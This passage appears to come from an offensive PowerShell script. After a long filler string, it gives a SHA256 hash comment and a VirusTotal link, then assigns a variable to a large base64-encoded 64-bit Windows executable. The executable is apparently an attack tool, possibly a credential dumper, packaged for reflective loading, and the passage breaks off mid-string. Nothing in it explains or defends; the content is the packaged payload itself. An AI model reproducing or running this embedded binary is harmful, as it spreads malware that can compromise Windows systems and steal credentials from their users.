AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -" + # SHA256 hash: 1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0 + # https://www.virustotal.com/en/file/1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0/analysis/1450152636/ + $PEBytes64 = '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